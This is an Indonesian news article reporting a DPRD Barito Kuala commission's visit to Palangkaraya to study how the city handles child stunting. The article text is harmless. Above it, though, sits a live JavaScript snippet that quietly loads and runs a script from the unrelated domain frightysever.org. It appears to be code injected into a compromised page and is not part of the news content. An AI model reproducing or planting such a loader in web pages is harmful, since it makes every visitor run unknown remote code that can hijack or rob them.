(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Gali Penanganan Kasus Stunting DPRD Batola Kungker ke Palangkaraya

KANALKALIMANTAN.COM, MARABAHAN – DPRD Kota Palangkaraya menerima kunjungan kerja Komisi II DPRD Kabupaten Barito Kuala (Batola). Rombongan dari Komisi II DPRD Batola itu disambut oleh tenaga ahli DPRD Kota Palangkaraya, Apriwati dan Franklin Tiong.

Apriwati mengatakan kunjungan dari DPRD Kabupaten Barito Kuala dalam rangka mengkaji penanganan stunting. Mereka ingin menggali referensi bagaimana penanganan stunting yang dikakukan pemerintah setempat.

Dia mengatakan, penanganan stunting dilakukan dengan menggencarkan edukasi kepada masyarakat melalui gerakan hidup sehat dan mengupayakan gizi yang cukup bagi ibu hamil, ibu menyusui hingga balita.

“Pemerintah daerah juga mengupayakan pemenuhan sarana air bersih, bantuan dalam pelayanan kesehatan, sosialisasi, pengawasan rutin dilakukan Pemko. Gerakan ini lebih banyak dilakukan PKK dan Posyandu,” jelasnya.

Sementara itu, Franklin Tiong menyampaikan permintaan maaf anggota DPRD Kota yang tidak bisa menyambut kedatangan tamu tersebut, karena kini anggota dewan setempat masih mengikuti kegiatan paripurna dan agenda Bapemperda.

Terpisah, Ketua Komisi II DPRD Kabupaten Barito Kuala, Nanang Kader menyebutkan bahwa sekarang isu stunting menjadi isu nasional. Karena di daerahnya masuk peringkat 12 kasus stunting sehingga perlu kajian untuk mengatasinya.(Kanalkalimantan.com/rdy)

Reporter : rdy
Editor : kk